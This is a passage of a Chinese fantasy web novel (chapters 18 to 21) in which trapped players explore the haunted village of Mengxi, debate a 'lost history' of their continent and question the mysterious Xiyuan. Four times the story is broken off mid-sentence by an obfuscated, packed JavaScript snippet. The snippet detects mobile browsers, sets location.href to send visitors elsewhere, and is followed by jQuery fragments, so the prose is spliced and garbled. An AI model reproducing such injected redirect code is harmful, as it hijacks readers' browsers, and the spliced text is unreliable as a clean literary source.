她的语气像是要哭出来一般,最后真的抱着有归的手臂,把头埋在她的脖颈间,放声大哭。 艾莉安身高193,有归身高167,那么一个大高个拥着一个娇小的人儿哭的不能自已,这画面怎么看怎么滑稽。但几人都笑不出来。艾莉安的哭声中包含了太多东西,她们无法理解,也不能感同身受,但能听得出来她的悲痛。她到底经历过什么,才会有这样似喜似悲、惊痛交加的复杂情绪。 众人都转头看向有归,当事人完全沉浸在自己的情绪中,或许有归可以代为解答。 有归思考了一下,她知道这几人都是在社会上摸爬滚打很多年的人了,再让她们回忆学生时代的只是有点难为人,决定从最简单的问题入手:“你们应该知道新历775年,在伊贝尔王国威克索玛小镇爆发过一场冲突吧?” 三人都点头。 这是历史书书上大篇幅记载的,也是考试重点:因为这场在后来被称作“威克索玛之春”的事件,不仅是导致伊贝尔王国内乱爆发的导火索,而后战火更是点燃了整个大陆,战争旷日持久,对人类文明造成了极其沉重的打击! 周嘉语还记得当时课堂上的情景,老师讲解这段历史时,语气中的悲痛不亚于讲解噩梦乐园的历史,这给她留下了极其深刻的印象。当时她就觉得有些奇怪,现在看来,这其中可能另有隐情。 接下来有归说的话带给她的震撼不亚于当年她听到噩梦乐园那段历史,有归说:“如果我们翻开云上帝国的史书,会发现新历775年,云上帝国的皇帝是洛泽女皇,那一年是承源二十二年。但翻过年去,也就是新历776年,皇帝变成了一个叫做洛瑛的男帝,他使用的年号是洪观,新历776年也是洪观五年,这是一个幼帝,当时只有七岁。” 三人都愣住了,对学术问题再不敏感,这会儿也明白过来了。 云上帝国一向是两种纪年法并行,一个是大陆通用的新历纪年,另一个则是年号纪年。新帝即位当年即有年号,但一般都要在第二年才改元,使用新年号。比如洛泽女皇登基是在新历742年,当年就确认年号为承源,但直到第二年也就是743年,才更换年号,称为承源一年。 新历775年还是承源年间,776年就变成了洪观五年,中间最起码少了四年的时间。如果结合鸿南阁子书的记录来看,那位洛泽女皇的统治最晚也维持到了新历792年。 有归好像又想起了什么:“补充一点,这位洛泽女皇登基时已经三十六岁了。” 也就是说,这位洛泽女皇最起码活到了八十六岁,都这个年纪了,估计也懒得折腾再换一个年号,那这个鸿烈十年又是哪一个皇帝在位?新历775年到新历776年,看似一眨眼的差距,实际隔了无数个春秋。 历史,是被刻意抹去了吗? 前情已经铺垫好了,有归直接说了:“其实,学术界一直有‘失落历史’的说法,指的就是新历775年到新历776年这一年间完全错位的历史,史学家们认为这中间至少有数百年的历史失落或是遗失了。” 周嘉语艰难消化着这一段话:“完全错位的意思是?” “意思就是弥瑞可大陆的历史传承断代,以新历775年为分界点,前后割裂,无法弥合。”有归举了一个例子,“775年云上帝国驻守西南边境的军队还只能用冷兵器,776年他们就全部用上了火枪,并且组建了专用火器的神兵营,这还只是西南边境的情况。” 神兵营的出现,意味着当时云上帝国的火药制备技术已经到达了相当的高度,专门熔炼钢铁的高炉和炼钢法都已出现,并且炼钢的效率得到了很大的提升,而成本则压到了很低。但科技的发展从来不是一蹴而就的,尤其是古代,受制于大众的整体知识水平,人才储备少,发展一直很缓慢。这种前一年还在菜刀对砍,第二年的就飞机大炮对轰的情况根本不可能出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432885|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,难怪说是完全错位的历史,这是想遮掩都遮掩不了! 黎重反应过来,疑惑道:“既然这样,为什么书上一点都不提?” “我来说吧,”艾莉安终于收住了眼泪,她眼睛红红的,一开口,声音沙哑,“因为这一段历史没办法提,战争掩盖了太多,除了当时没有立刻卷入战争的云上帝国还有少许残留的痕迹,其余六国几乎完全找不到这一段历史存在的证明。” 在失落历史发生的新历775年,就有学者奔走四方,已找回历史为己任,终生追寻。但遗憾的是,人的力量太过渺小,而战争的毁灭几乎是打击性的。当战争的迷雾散去,那些无法抹煞的存在也被毁去大半,人类的生产力发展水平退回到历史记载的新历775年之前。 人们找不到任何记载,也想不起与过往有关的记忆,就像是一捧沙,沙砾尽数流走,只留下在表面留下一点灰尘,让后人去猜测。 那场席卷大陆七国的战争的起源至今仍然没有一个定论,而让人们惊觉历史断代的原因之一,云上帝国皇室的传承,皇位是如何更迭的,这个叫洛瑛的男帝与洛泽女皇是什么关系,一直都是困扰学术界、历史爱好者,乃至民间的八卦爱好者的谜题,由此衍生出的各种猜想,养活了不少人。 人们既然无法证实这段历史的真伪,也就没有提起的必要。 毕竟弥瑞可大陆已知的历史已有上万年,留下数不胜数的谜团,所谓失落的历史,不过是其中一个罢了。它并不特殊。 但对艾莉安来说,这段历史的真相甚至比噩梦乐园还要重要。她抱着那本鸿南阁子书,声音嘶哑道:“我的母亲是研究奇迹时代历史的专家,她一直认为,真正的奇迹时代已在历史中被截留,被抹去,成为弥瑞可大陆失落的历史。” 这块大陆有文字记载以来的历史,大致分为黑暗时代、迷失时代、奇迹时代和未来时代。其中,奇迹时代最让人们津津乐道的。 在官方的教科书上,奇迹时代包括新历开始到后奇迹时代结束,也就是噩梦乐园降临这一时间段,一千二百七十九年的历史。当然,这是广义的说法。 而学术界对此一直争论不休。 官方的解释是,奇迹时代应该是得名于旧历中,传说自创世神的眼睛里诞生的奇迹主神弥瑞可,证据就是这片大陆的名字——弥瑞可大陆。 但在伟大的诗人瓦格幸所写的《人类的赞美诗》一书中,他是这样解释奇迹的:“以人类之躯挑战神明,比肩神明,战胜神明,这是人类的奇迹,这是当之无愧的奇迹时代!” 部分学者以此为依据,反对官方的说法,他们认为奇迹时代应该是一个极其灿烂的文明时代,闪耀着最辉煌的人类辉光,而不是一个颓丧的、依靠神迹,祈祷神降的虚无缥缈的时期。 而奇迹时代到后奇迹时代的转折点,就是有归之前提到的新历775年伊贝尔王国威克索玛小镇爆发的一场冲突。从这以后,历史断为两截,永远无法续接。 周嘉语见艾莉安一直用手抚摸这那书上的留言,不由问道:“如果这本书可以带回去,是不是就可以证实失落历史的存在?” 19. 第 19 章 艾莉安想了想,还是摇头:“虽然这的确是第一手史料,但穿越这种事太离奇了,可信度并不高。如果未来时代的孟溪村没有被完全破坏,在那里发现这本鸿南阁子书,倒是真的可以证实这段历史的存在。” 但这是不可能的了。 噩梦降临,山河破碎,弥瑞可大陆早已面目全非。 周嘉语陪着艾莉安哀叹,有归就坐在旁边托着脸看着她俩,过了一会儿,她觉得差不多了,屈指轻敲桌面,等所有人都看过来后,她说:“历史的遗憾先放一放,现在来看一下这道雷唤之术。” “这上面的东西我也能够感受到,雷唤雷唤,是召唤而来的自然的雷霆之力吗?既然是受召而来,应当是驯服的,但当我试图掌控它的时候,它却拒绝了我的亲近。或许所谓修炼,就是让人类学会怎么操控这些自然力量的过程。” “那这么说的话,我就是小说里写的天赋异禀可以修炼的人喽?”周嘉语伸手按住“雷唤”符文,耳边似乎能听到隆隆的雷声,她在心里默念了一堆乱七八糟的口诀,等了好一会儿也没有动静。“这个雷唤之术就是沈凌璧留下的东西吧,道具是找到了,但我们根本不知道怎么用?” 黎重看得有些好笑:“应该是有专门的修炼方法,但沈凌璧自己恐怕也不知道吧。”他叹口气,“这些方法早就失传了吧,就算奇迹时代真的是一个属于修道者的时代,传承也完全断代了。” 有归慢慢翻着那本鸿南阁子书,这书的纸张薄而韧,手撕不破,使劲揉搓也不会皱。她怀疑即使用刀砍、用火烧,这书也依旧如新。前二十二页上绘着一些怪异的图案,应该就是禤水凝所说的或死去或无害的妖物邪肆。也不能说画上去的,应该是长在上面的,是那些邪物的本体。第二十三页是那个会寄生人体的魔那什,果然是雪白的一张纸,什么痕迹都没有,这里封印着的东西果然逃脱了。 她举起手上展开的空白书页,笑道:“传承的确断代了,但总有一些东西留了下来,虽然是不好的东西。但说不定,我们还会发现其他更多的东西呢。” 周嘉语看着有归,好奇:“你是真的乐观。是不是就算把你一个人扔到这里,情形比现在糟糕十倍百倍,你也能笑得出来?” 好像就是从戴洪乐出事开始,有归的笑容开始多了起来。从那个恨不得蹲在角落里长蘑菇的阴郁小孩,被迫站出来主持局面时的无奈,变得主动积极了。这种转变让周嘉语觉得有些新奇,就好像随意走到某处捡到一枚珠子,拭去灰尘后发现是一粒明珠那样惊喜。 有归试着想象这样的场景,点头赞同:“是这样没错。” 这个话题就这样带过,有归更关注她们现在的处境,想想从后奇迹时代到未来时代层出不穷的奇幻玄幻题材的小说游戏影视,想想她们感受到的东西,她推测道:“这道雷唤之术或许就是自然的雷霆,人们的修炼并不是直接操纵自然元素,而是将这种力量化为己有。这么说来,这中间应该有一种媒介帮忙转化,唔,还要有储存的地方......” "类似于《神座之前》里灵力和灵基的设定?"黎重忽然想到了这个经典游戏。 有归嗯了一声,“虽然我们现在什么都没有,但应该有别的方法,不然戏才开幕,就发现是必死结局,还怎么进行下去,这可不行。” 四人没有有归的自信,不知道的还以为她提前看过剧本。剧本当然是没有的,只是有归自己的判断罢了,见她们都不信也不强求,把鸿南阁子书收起来,拍了拍手:“今天已经耽误太多时间,现在该去执行我们的计划了。” 新历999年的云国,才成立29年,扫平内忧外患之后,开始专注自身发展。 这一时期整个社会的主基调是昂扬向上的,为了把从作为大城市来的剧团人员这个身份砸瓷实,几人搁那翻半天的随身空间,最后还是在有归那里找到了合适的衣裳。 作为剧团首席,周嘉语肯定不能随便套身运动装就出门,因为是假的,所以才更要注意,穿着和言行举止都要符合人们的印象。所以她穿了一件深蓝泡泡袖假两件的短上衣,搭配同款长裙,头发侧挽发丝垂落,发髻上攒了一枚精巧的羽毛发饰。 有归手里抓着一顶无比精致的装饰着花朵蕾丝花边和蝴蝶结的草帽,对着周嘉语左看右看,最后还是默默把帽子放回去了。 有一个在前面顶着了,有归这个剧团新一代就可以随便点。她依旧是高马尾,浅色上衣加浅蓝色牛仔裤,披了一件很薄的白色透明开衫。剩下三位的着装更好解决,都是浅色宽松的款式,平底鞋,以舒适为主。总而言之就是,维持她们口中那并不存在的剧团的形象的重担,都在周嘉语身上了。 好笑的是等她们几个出发,却发现根本没人注意她们的衣着,准确来说是根本没几个人注意到她们。村民们不用为生存奔波,七月的暑天根本不会在大太阳底下走动,都在自家屋檐下的躺椅上纳凉。她们隔着篱笆打招呼,那边懒懒应了一声,把蒲扇盖在脸上,闭上眼睛睡了。 周嘉语:这大概就是所谓的媚眼抛给瞎子看吧。 从她们居住的小楼一直走到村口,一路经过四五户人家,家家皆是如此。 但村民可以不看,她们不能疏忽,一行五人说说笑笑一路走过,见到个人就打招呼摆出一副很想聊聊的架势,见人无心多聊也不会纠缠。 艾莉安早就把纸笔拿出来了,以她们现在居住的村西小楼为原点,记录孟溪村的建筑格局。一路走来的房屋她都画上去了,但奇怪的是,这些屋子的方位都是坐北朝南,大门却是开在东南角的。 真是好奇怪的建筑样式。 这么看来,小楼的样式倒是蛮规整,虽然是坐西朝东方位没那么好,可大门开的地方也是东边啊,而且就在正中央,而不是什么奇奇怪怪的角落。 在路上她们还遇到了昨天问路的老婆婆,有归看她腰背都直不起来,就把她手里像是装垃圾的袋子接过来了。 老人对她们露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16437049|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个笑脸,邀请她们去她家里坐坐,但她们哪有时间,连忙拒了。老婆婆呵呵笑着,说:“知道你们忙,就不耽误你们了,有时间的话记得去那个破屋后面的树林里看一下,那边风景对你们来说是最好的。” 对她们来说最好的风景是回家的门,不过老婆婆说话虽然有点谜语人,但她之前确实帮了她们,有归认真记下,表示有时间她们会去看的。 告别老婆婆,有归趁没人看见,把那袋垃圾扎紧口袋扔空间里,想着什么时候路过垃圾堆的时候顺道扔了。 很快就到了村口。 这也是有归一开始的打算,从正西的小楼出发,前往北边的村口水井,然后去看东北角的破屋,和看村民情况也不知道能不能打听到具体位置的祠堂,最后她和黎重回到原点,也就是小楼,然后出发去西山。 规则纸条上说的那口水井其实不是一进村就能看见,她们找了一下,才发现竟是在村庄入口不远的的那棵大树下面。说实话,在孟溪村才逛了那么一会儿,她们的脑袋里已经装满了疑问,完全看不懂孟溪村的布局。 哪怕完全不懂风水之说,也知道要流通起来才行,而不是栽一棵大树在这里挡风挡水挡财运,哪怕是未来时代最讲科学的人也不会这么做。把一切拒之门外,村内村外完全停滞,难怪整个孟溪村静成这样,久而久之,村庄就死了。 入口处的大树是一棵槐树,树干很粗,两人合抱有余。不知道这棵树活了多久,也不可能把树锯倒数年轮,但看它这样粗这样茂盛的样子,恐怕有几百年了。应该是沈凌璧时期就在这里的,不太可能是后来才移过来的。 有归抬起头看这棵树,树很高,树冠很大,无数枝丫延伸交错,风吹过的时候,枝摇叶动,仿佛无数只吊死鬼挂在上面招手示意。槐树属阴,在从云上帝国到云国的民间传说中,一直都有槐树招鬼的说法,将之视为鬼怪的藏身之所。沈凌璧不可能不知道这些说法,但她还是将这树种在这里,槐树“吸取阴气为生”,两百年下来,这孟溪村恐怕早就是藏污纳垢、百鬼夜行了,难怪晚上的时候禁止村民出行。 在书房中找到的纸条上所说的水井就在槐树底下,水生木,难怪这槐树长得那么茂盛。 周嘉语俯下身子探头去看这水井底下,按照一般恐怖游戏的套路,她应该会看到水底有一张鬼脸,或者是狰狞的面孔。但《珈登希露得》是可以让她们穿越时空的大型真人游戏,她自然是什么也没有看到,只有清澈幽凉的井水。倒是井沿上的落叶因为她的动作而被飘落井内,落在水面,泛起了波纹。 艾莉安捧着本子迅速记下,然后几人前往下一个地点。 这一次她们要去的是村子东北边的破屋,这个地方真的是大名鼎鼎,她们来到孟溪村还不足一日夜,就见到过听到好几次这个地名。第一次是老婆婆给她们的规则纸条上写的,“村子东北角的破屋是孟溪村禁地,严禁任何人进入”,而祠堂这种地方,也只是说“外来者严禁进入”而已。 20. 第 20 章 这座破屋到底发生过什么,有多可怕,竟让规则纸条将其列为禁地。 有归她们本来打算沿着外围走过去的,却发现破屋和村子里的其他房屋被隔开了,长满小刺的野蔷薇花藤缠绕交织,组成了一堵绿色的围墙,硬生生阻隔了几人前行的脚步。花墙后是一片竹林,竹林后才是破屋,被灌木丛挡住了大半,只看到一角灰色的屋檐。 几人只能绕路。 站在路口,她们看见竹林深处的房屋,灰色的屋檐,灰扑扑的墙面,和黛瓦白墙的孟溪村格格不入,难怪被特意隔了出来。和村中的碎石小路不同,泥巴路从路口一直延伸到破屋前,她们几个手牵着手慢慢挪了过去,走到一半就不敢往前了,这破屋不愧是连村民都禁止进入的禁地,看上去鬼气森森的。 黎重开路周嘉文殿后,周嘉语和艾莉安是左右护法,有归被夹在中间。烈日炎炎之下,本该百鬼退散,可他们硬生生站在那里,不敢挪动一步,没来由的害怕,没来由的恐惧。几人进退不得,明明是大太阳,额头上冒出的全是冷汗。 现在也只能庆幸她们没有莽,没有想着什么夜探破屋,还好这是白天,还好她们几个都在。 身后忽然传来了脚步声,这是人是鬼,怎么她们之前没有听到有人靠近,紧接着走在最后周嘉文感觉自己的肩膀被拍了,浑身一哆嗦,嗷的一声就想往前冲,把前面四人撞得跌作一团,他自己也没收住势,直接向前倒去。 “你们在这里做什么?”温柔的男声让周嘉文停止了和同伴解释的想法,众人抬头望去,溪源正站在她们后面,手掌举在半空,一脸莫名地看着她们。 几人都松了口气,不是鬼就好。然后想起来溪源虽然不是鬼,但他会把别人的皮披在身上啊!这不比恶鬼还可怕! 有归迅速想好了借口:“听住在村口的婆婆说这附近的风景很美,我们就想来看一看,或许这里有什么故事等待我们挖掘呢。哪知道这里竟然有一座旧屋子,周围的环境又阴森森的,我们有些害怕,就想着人多胆气壮一起去看,结果被你吓到了。”她指着溪源还没放下去的手掌。 “抱歉,”溪源把手收回去,转身往回走,走了两步又停下,回身示意她们跟上。几人对视了一眼,有归想了想,觉得溪源她们现在应该也是惹不起的,还是低头了。 几人你拉我我牵你的从地上爬起来,拍拍身上的泥土落叶,抬脚跟着溪源走出竹林。阳光从头顶洒下来,虽然时间才过去几分钟,但她们觉得从来没有这么难熬过,重新看到太阳,感觉整个人都活了过来。 溪源看着几人一副劫后余生的倒霉样,不由微笑,他转头看向破屋的位置,声音隐含告诫:“那里你们以后都不要去了,村子周边风景好的地方多的是,你们去拍那些也够了。” 众人面面相觑,溪源的话几乎是明示几人破屋有问题了,他是好心提醒,但几人一直记得他披着卢易斯的人皮这件事,对他的态度向来是敬而远之,能躲多远就躲多远。这次是躲不掉了,几人也牢记着跟他保持距离,溪源察觉到了几人的疏远,也没说什么,气氛就沉默着僵持住了。 有归看着溪源的神色,他一如既往,脸上无悲无喜,仿佛刚才那温柔的笑容是她们的错觉。她感觉到溪源对她们是没有恶意的,早上在小楼门前,村长老头对她们咄咄逼人时,是溪源出声替她们解了围;在小楼中,溪源主动为她们提供了信息,有归不知道河谷下的那个大洞有什么东西,也不确定溪源是出于什么样的目的,但村长老头的反应告诉她,她们或许应该去河谷一趟。 他应该是愿意给她们提供帮助的,但他身份成谜,来历成谜,还发生了那样可怕的事情,她们可以信任他吗?有归现在最想知道的是破屋的过往,想了想,她试探着问道:“那个,我叫你溪源哥哥可以吗?” 见他不说话,有归就当他默认了:“溪源哥哥,你知道这里发生过什么事吗?这个地方看上去怎么那么古怪。” 溪源摇头:“不知道。我来的时候这里就已经是这样了,村民们都当作没有这个地方。” “咦,那你没问发生了什么事吗?” 溪源收敛了笑容,正色道:“不要询问村民有关任何这里的事情,千万不要问。” 他这般神色不禁让有归想起那个老婆婆,当她们说起要来破屋时,老婆婆还笑着提起这里的风景。看来她确实不是村民,今天村长说起破屋的神情不比现在的溪源好多少,这里大概是孟溪村的禁忌,寻常村民不会是那般颜色。可照村长的说法,这里只是死了一个老光棍,为什么会成为所有人都不愿提起的禁忌? 有归笑着应了,然后又好奇道:“不过溪源哥哥你来孟溪村多久了,好像对这里很熟的样子?” 溪源回忆道:“我来这里两年多了。” 两年多,是在柳笙沈希源之后。说起来,那些在书房给她们留下纸条提示的人们,好像也是在这之后才出现的,新历996年,柳笙,沈希源,看来这就是事情的关键了。 接下来有归和溪源扯起了闲篇,诸如你来孟溪村这么久是干什么,怎么还不回家之类的问题,溪源都一一解答。 看得众人十分佩服。 这可是披着人皮的恶鬼啊,但有归好像真的把他当成邻居大哥哥了,神情三分崇拜一份敬佩六分小女孩不谙世事的天真。像她这种年纪的剧团成员,好多都是家里的长辈带进来的,从小就在剧团长大,环境单一,还没成长到可以接触社会复杂面的时候,格外单纯。 周嘉语看了一眼溪源,压低声音:“有归这样的演技不进演艺圈可惜了。” 但有归自己却不都是演的,都说当局者迷旁观者清,但只有身在局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16442475|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,才能感觉到那种微妙的差异。或许她是假意掺着真情,但溪源似乎全是真情流露,他好像透过她看见了谁。 有归有预感,其实溪源知道她们是谁,知道她们想做什么。但他不在意,他甚至还会帮她们,所以见到她们少了一个人也没有问。 是因为帮她们就是帮他自己吗? 想着,有归扬起笑脸,说:“溪源哥哥,之前村长说的祠堂我很感兴趣,你能带我们去看看吗?” 她飞快的补充:“我们不进去,就在外面看看,我还从来没见过真的祠堂呢。” 溪源的表情柔和了下来,语气都轻快了许多:“好。” 说着他走在前面带路,几人转头看向有归,有归被看得心里毛毛的。溪源发现她们没跟上,转身招呼她们,尤其是有归,语气哄小孩子似的:“不是说想看村里的祠堂吗,怎么还不走?” “啊?哦!”有归应道,跟上去后又在那鬼扯:“我听说古时候大家族的祠堂都修的很漂亮,”这一句纯属胡说八道,“在电视上也见过祠堂,雕梁画栋,连窗户上都刻着精致的花纹,不知道村子里的祠堂是不是这个样子?” 溪源含笑听着,并不打断她,等她说完了才纠正她的观点:“电视剧演的都是假的,祠堂并不追求漂亮精美,那是一个家族最庄严肃穆的所在,摆放着祖宗的灵位。因为古代的房屋都是木制的,需要注意防火,所以祠堂一般建在偏僻阴凉的地方……” 孟溪村的祠堂和溪源说的不一样,竟是建在村子的正中央,周围也并没有水井之类的可以防范火灾的设施,小小的一间房子孤零零的立在那里,如果不是溪源指给她们看,几人都不敢相信眼前既不高大也不华美的房屋就是祠堂。 祠堂只有一层,和孟溪村黛瓦白墙的屋子不同,屋檐和墙面是青砖青瓦,倒是比村民们住的屋子要高一些。来的时候,溪源给她们介绍了一般祠堂的规制。他说,云上帝国时倾云城地区的祠堂家庙,一般为三进五开间的建筑。 大门进去就是戏台,常见的歇山顶,往里走是宽敞宏伟的中厅,居中高悬的牌匾上会写此处祠堂的堂名,最后一进是寝堂,供奉家族众人的灵位。溪源说,前堂后寝,是最基础的宗祠布局。但眼前这座祠堂,明显是把其他的都拿掉了,只留下最核心的寝堂。 溪源扫了一眼面前的建筑,说道:“沈氏一族原先在倾云城的祠堂,不仅严格按照前堂后寝的宗祠布局,还有衬祠,有牌坊,有仪门,有拜亭、月台和照壁,祠堂建筑装饰取材于历史故事和神话传说,现在已经是青宇市重点文物保护单位,收门票的那种。但那是乡里乡贤集资修建的,又有沈氏在云京做大官的族人资助,自然庄重无比。” “后来沈氏族人四散,又是在这样的大山深处,能有一处屋宇安置灵位,告慰先祖灵魂,已经很不容易了。” 21. 第 21 章 几人绕着祠堂转了好几圈,也没看出来这屋子有什么特别的。之前的破屋,光感受周边的氛围,就知道不是什么好地方,但这祠堂她们真没看出来有什么好避让的。 周嘉语好奇地探头,伸着脖子往里看,但祠堂大门紧闭,窗户也关的严实,她什么都没看到。于是转头看向溪源,问道:“你知道祠堂里面是什么样子的吗?”这时候她倒不怕了。 溪源既然能够在村子里自由行动,还能随意和她们接触,如果他愿意帮助她们,也许她们的行动会顺利很多。 “我没进过祠堂,”溪源给出了出乎众人意料之外的回答。 周嘉语这一次是真的好奇,不过她还记得不能透露规则纸条上的信息,就换了一种说法:“是有人拦着你不让你进去吗?”村长老头说溪源是他的远房亲戚,但老头能将溪源带在身边,又那么亲近,这关系应该也不会太远才对。按理来说,他应该视作自己人才是,甚至村民们主动邀请溪源进祠堂也不奇怪,怎么会没有去过呢? 她的疑问很快得到了解答:“是我自己不想进去。” 孟溪村朴素的祠堂外,溪源仰着头,明明是看向天空的,落点却不知是在哪里,满目迷蒙茫然。他上衣外搭了一件夹克,下身是同款的裤子,只这一身打扮就和这闭塞山村拉开了距离。明明知道这副好皮囊下的恶鬼模样,但众人依旧惋惜,他不属于这里,他和这里的一切格格不入。刚才一行人走过来的时候,他在离祠堂的门还有一段距离的地方就停下来,压根不愿意靠近,他也说不清楚自己这样做的原因:“我只是觉得,这里会让我伤心,有什么让我害怕到恐惧的事情在这里发生了,但我不仅无法阻止,还一无所知......” 他是在逃避。 他知道逃避无法解决任何问题,可他还是这样做了,因为他知道孟溪村的问题不是他自己能够解决的。他能做的只有等待,他一直在等。 而除此之外的理由,不过是他不敢面对,不敢面对已成既定事实的惨剧,不敢面对那更加惨淡的未来...... "那你就不想知道到底发生了什么事吗?"周嘉语问他,众人也都一齐看向溪源,期待能够从他这里获得更多有用的线索。 溪源却只是微笑摇头,眼睛看着她们,答非所问:“现在天还早,你们应该还有别的安排吧?” “嗯,策划先生想去爬山,看看周围的风景,我也觉得在村子里闷着很无聊,打算跟着一起去。周姐姐和编剧先生忙着剧本的事情,留在村里采访村民收集资料。”有归接过溪源的话,交代了自己一行的行程。 她不知道溪源在孟溪村到底扮演了怎样的角色,但她们既然选择成为旅客,就要好好遵循这一身份。她记得从前墨闲倾带自己去游玩采风的时候,也会根据当地居民的建议调整当天的行程,人们大多都很热心,会告诉她们那里风景更好东西更好吃,从哪里可以抄小路过去。 而换算到有归她们身上,几人的一切行动都是为了找出孟溪村的秘密,但她们对这里完全是两眼一抹黑,手里是有一些线索,但基本都是她们根据一些模糊的消息推断出来的,并没有指向什么。有归是希望能从溪源这里得到一些更明确的信息的。 孟溪村看似正常,实则处处诡异,溪源自身更是充满违和之处:与柳笙的恋人沈希源相似的名字,七月仍穿在身上的完全包裹着脖子和手臂的黑色毛衣,手腕上一圈像是疤痕的痕迹,披在他身上的来自卢易斯的皮...... 溪源不会没有发现这些,哪怕身在局中,他应该也是察觉到了,所以在小楼时才会主动提起河谷下的洞,所以才会出现在破屋。 他在试探她们。 有归她们在小楼找到的那些纸条之前来到孟溪村的人留下的,或许这些人是真正的游客,只是误入孟溪村,就再也无法离开。 但这样的大山深处,真的会有人迷路走到这里吗? 无法断定这些人都是游客,既然她们七人能够通过一扇门来到这里,那么其他人也可以。黎重之前提到过《珈登希露得》不只测试过一次,曾有成功完成内测的玩家在网上发帖,虽然很快就被删除,却也说明一个可能,那些留下纸条的人之中,或许有其他和她们类似身份的玩家。 只是不管是像卢易斯戴洪乐主动接受游戏,还是像黎重周氏兄妹一样被诓骗进来的,他们应该都失败了。 溪源是见过这些人的。 有归代入到黎重周嘉语她们的身份来看待整个事件,收到游戏的内测通知,按照消息在家里等待时看到那扇准时出现的青铜门,人们恐怕不会怀疑其他,只以为是游戏公司厉害,而还不设防地进入门内。门内是一个村庄,而经历未来时代各种作品的狂轰滥炸,众人对这种山村的看法已经固化成了风光秀丽的小山村,淳朴善良的村民。 他们以为这只是一个游戏世界,根本不会设防。 那个老婆婆的行为已经说明她就是专门等着自己的,如果是其他人根本不可能拿到规则纸条。其实有归怀疑,就算玩家们拿到了规则纸条,会不会以为这只是一个致敬噩梦乐园的游戏? 玩家会在游戏里做出什么事来是无法预料的,但可以想见,他们并不会把纸条上的规则放在心上。或许只有第一个受害者出现,人们才会发觉这是一个真实的世界,会死人,会受伤,但那时候恐怕已经无力回天了。 一个真正的游戏玩家来到孟溪村会做什么呢?他们恐怕会肆无忌惮地当着村民们的面讨论任务,无所顾忌地进出村民的家,进入东北破屋和祠堂寻找线索,这些行为无异于自寻死路,他们也真的死了。 有归看向溪源,而他也就这样看着他们去死。 不,有归不是批判他见死不救,他在孟溪村活得犹如恶鬼一样,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451512|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类社会极高的道德水准要求他太过苛刻。她只是在想,溪源是不是也像对待他们一样,给那些人提供过帮助?那他这样做的目的是什么? 恐怕是确定她们是否有能力破局,或者说是是否具备破局的基础能力。 如果她们像村长老头说的那些人一样张狂无礼,早就死无葬身之地了。 有归不知道溪源有没有试探出自己想要的结果,但她们忠于自己的身份向他征求建议,如果他真的想要寻求合作,那么,这是一个绝好的机会。她的台阶已经递出去了,溪源到底如何选择,也会影响她们接下来的行动。 “西山的确是一个好地方,那里可以看到很好的风景,可惜今天天已经晚了,不然你们看完西山的风景,还可以从那里绕道走到墓园去。沈凌璧村长的墓室修得很大,墓碑上也都刻有墓志铭,你们要是喜欢人文景观,这里可不能错过。”溪源的选择并没有出乎有归的意料,她赌赢了。 众人悄悄松了一口气,气氛重新轻松了起来。 村口的水井看过了,破屋和祠堂在什么地方也知道了,接下来村里的事该交给周嘉语三人了。有归转身就要走,没两步忽然又回头,对周嘉语说了什么,然后一把抓起黎重的手直接拉着他跑了起来。不跑不行,已经快四点了,再不快点她俩今晚恐怕要在山上过夜。 周嘉语本来在思考有归那句话是什么意思,见此情形不由怔怔。 黎重的身高可是有197,哪怕他有意配合,但有归能轻松地带走他,和他步调一致,完全没有落后,甚至还有余力的样子。这让周嘉语开始思考,她觉得自己和其他人似乎都把有归想得太柔弱太弱小了,或许她根本不需要任何保护,或许,她忽然冒出来一个让她自己都觉不可思议的想法——她们的存在对有归其实是拖累。 